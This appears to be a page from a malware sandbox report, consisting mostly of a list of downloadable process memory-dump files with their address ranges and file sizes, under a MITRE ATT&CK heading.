                                                            MITRE ATT&CK Enterprise v6

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • memory/296-386-0x0000000000290000-0x00000000002D3000-memory.dmp

                                                              Filesize

                                                              268KB

                                                            • memory/296-384-0x0000000000400000-0x000000000045E000-memory.dmp

                                                              Filesize

                                                              376KB

                                                            • memory/296-382-0x0000000000240000-0x0000000000266000-memory.dmp

                                                              Filesize

                                                              152KB

                                                            • memory/460-55-0x00000000763C1000-0x00000000763C3000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/520-192-0x0000000000400000-0x00000000004D8000-memory.dmp

                                                              Filesize

                                                              864KB

                                                            • memory/536-201-0x0000000001380000-0x00000000019AD000-memory.dmp

                                                              Filesize

                                                              6.2MB

                                                            • memory/552-202-0x0000000000400000-0x0000000000440000-memory.dmp

                                                              Filesize

                                                              256KB

                                                            • memory/552-199-0x0000000000290000-0x0000000000299000-memory.dmp

                                                              Filesize

                                                              36KB

                                                            • memory/552-198-0x0000000000230000-0x0000000000270000-memory.dmp

                                                              Filesize

                                                              256KB

                                                            • memory/876-249-0x0000000000920000-0x000000000096D000-memory.dmp

                                                              Filesize

                                                              308KB

                                                            • memory/876-252-0x0000000001700000-0x0000000001772000-memory.dmp

                                                              Filesize

                                                              456KB

                                                            • memory/932-352-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/984-226-0x00000000012B0000-0x00000000012B1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/984-219-0x00000000003A0000-0x00000000003A1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/984-207-0x00000000013A0000-0x00000000013A1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/1036-385-0x00000000001B0000-0x00000000001B2000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/1204-213-0x0000000002B00000-0x0000000002B16000-memory.dmp

                                                              Filesize

                                                              88KB

                                                            • memory/1328-397-0x0000000000400000-0x0000000000491000-memory.dmp

                                                              Filesize

                                                              580KB

                                                            • memory/1328-395-0x0000000000330000-0x000000000037F000-memory.dmp

                                                              Filesize

                                                              316KB

                                                            • memory/1328-396-0x0000000001EB0000-0x0000000001F3F000-memory.dmp

                                                              Filesize

                                                              572KB

                                                            • memory/1484-83-0x0000000064940000-0x0000000064959000-memory.dmp

                                                              Filesize

                                                              100KB

                                                            • memory/1484-84-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                              Filesize

                                                              152KB

                                                            • memory/1484-80-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                              Filesize

                                                              1.5MB

                                                            • memory/1484-81-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                              Filesize

                                                              1.5MB

                                                            • memory/1484-88-0x0000000064940000-0x0000000064959000-memory.dmp

                                                              Filesize

                                                              100KB

                                                            • memory/1484-79-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                              Filesize

                                                              1.5MB

                                                            • memory/1484-86-0x0000000064940000-0x0000000064959000-memory.dmp

                                                              Filesize

                                                              100KB

                                                            • memory/1484-91-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                              Filesize

                                                              1.5MB

                                                            • memory/1484-90-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                              Filesize

                                                              572KB

                                                            • memory/1484-82-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                              Filesize

                                                              1.5MB

                                                            • memory/1484-85-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                              Filesize

                                                              152KB

                                                            • memory/1484-77-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                              Filesize

                                                              572KB

                                                            • memory/1484-76-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                              Filesize

                                                              572KB

                                                            • memory/1484-78-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                              Filesize

                                                              572KB

                                                            • memory/1484-87-0x0000000064940000-0x0000000064959000-memory.dmp

                                                              Filesize

                                                              100KB

                                                            • memory/1596-200-0x0000000000260000-0x0000000000261000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/1612-208-0x0000000001030000-0x0000000001031000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/1612-223-0x0000000002580000-0x0000000002581000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/1684-143-0x0000000000400000-0x0000000000450000-memory.dmp

                                                              Filesize

                                                              320KB

                                                            • memory/1684-148-0x0000000000400000-0x0000000000450000-memory.dmp

                                                              Filesize

                                                              320KB

                                                            • memory/1704-328-0x0000000002F00000-0x00000000037A2000-memory.dmp

                                                              Filesize

                                                              8.6MB

                                                            • memory/1704-327-0x0000000000400000-0x0000000000CBD000-memory.dmp

                                                              Filesize

                                                              8.7MB

                                                            • memory/1704-325-0x0000000002AF0000-0x0000000002EFF000-memory.dmp

                                                              Filesize

                                                              4.1MB

                                                            • memory/1768-248-0x0000000002100000-0x0000000002D4A000-memory.dmp

                                                              Filesize

                                                              12.3MB

                                                            • memory/1768-259-0x0000000002100000-0x0000000002D4A000-memory.dmp

                                                              Filesize

                                                              12.3MB

                                                            • memory/1768-247-0x0000000002100000-0x0000000002D4A000-memory.dmp

                                                              Filesize

                                                              12.3MB

                                                            • memory/1876-243-0x0000000002030000-0x0000000002C7A000-memory.dmp

                                                              Filesize

                                                              12.3MB

                                                            • memory/1876-229-0x0000000002030000-0x0000000002C7A000-memory.dmp

                                                              Filesize

                                                              12.3MB

                                                            • memory/1876-262-0x0000000002030000-0x0000000002C7A000-memory.dmp

                                                              Filesize

                                                              12.3MB

                                                            • memory/1992-214-0x0000000000190000-0x00000000007BD000-memory.dmp

                                                              Filesize

                                                              6.2MB

                                                            • memory/2128-368-0x000000001ABF0000-0x000000001ABF2000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/2148-339-0x00000000001A0000-0x00000000001A1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2148-341-0x0000000003650000-0x000000000383A000-memory.dmp

                                                              Filesize

                                                              1.9MB

                                                            • memory/2148-342-0x0000000000980000-0x0000000000A36000-memory.dmp

                                                              Filesize

                                                              728KB

                                                            • memory/2220-353-0x0000000000400000-0x0000000000414000-memory.dmp

                                                              Filesize

                                                              80KB

                                                            • memory/2256-348-0x0000000000400000-0x0000000000414000-memory.dmp

                                                              Filesize

                                                              80KB

                                                            • memory/2360-230-0x0000000000400000-0x0000000000420000-memory.dmp

                                                              Filesize

                                                              128KB

                                                            • memory/2360-244-0x00000000049A0000-0x00000000049A1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2360-232-0x0000000000400000-0x0000000000420000-memory.dmp

                                                              Filesize

                                                              128KB

                                                            • memory/2360-233-0x0000000000400000-0x0000000000420000-memory.dmp

                                                              Filesize

                                                              128KB

                                                            • memory/2360-234-0x0000000000400000-0x0000000000420000-memory.dmp

                                                              Filesize

                                                              128KB

                                                            • memory/2360-231-0x0000000000400000-0x0000000000420000-memory.dmp

                                                              Filesize

                                                              128KB

                                                            • memory/2380-380-0x000000001B170000-0x000000001B172000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/2396-365-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2408-399-0x0000000001EC0000-0x0000000001F8F000-memory.dmp

                                                              Filesize

                                                              828KB

                                                            • memory/2408-398-0x00000000004E0000-0x000000000054C000-memory.dmp

                                                              Filesize

                                                              432KB

                                                            • memory/2408-400-0x0000000000400000-0x00000000004D5000-memory.dmp

                                                              Filesize

                                                              852KB

                                                            • memory/2424-340-0x0000000004CD0000-0x0000000004CD1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2576-371-0x000000001B390000-0x000000001B392000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/2600-250-0x0000000001D10000-0x0000000001E11000-memory.dmp

                                                              Filesize

                                                              1.0MB

                                                            • memory/2600-251-0x0000000000380000-0x00000000003DD000-memory.dmp

                                                              Filesize

                                                              372KB

                                                            • memory/2704-356-0x0000000000260000-0x0000000000261000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2724-255-0x00000000004B0000-0x0000000000522000-memory.dmp

                                                              Filesize

                                                              456KB

                                                            • memory/2724-315-0x0000000002B50000-0x0000000002C55000-memory.dmp

                                                              Filesize

                                                              1.0MB

                                                            • memory/2724-314-0x0000000000300000-0x000000000031B000-memory.dmp

                                                              Filesize

                                                              108KB

                                                            • memory/2776-284-0x00000000009F0000-0x00000000009F1000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/2784-372-0x00000000004E0000-0x000000000055B000-memory.dmp

                                                              Filesize

                                                              492KB

                                                            • memory/2784-373-0x0000000001EF0000-0x0000000001FC5000-memory.dmp

                                                              Filesize

                                                              852KB

                                                            • memory/2784-374-0x0000000000400000-0x00000000004D8000-memory.dmp

                                                              Filesize

                                                              864KB

                                                            • memory/2860-286-0x0000000004B40000-0x0000000004B41000-memory.dmp

                                                              Filesize

                                                              4KB

                                                            • memory/3008-335-0x000000001B6C0000-0x000000001B6C2000-memory.dmp

                                                              Filesize

                                                              8KB

                                                            • memory/3060-299-0x0000000003F50000-0x000000000409C000-memory.dmp

                                                              Filesize

                                                              1.3MB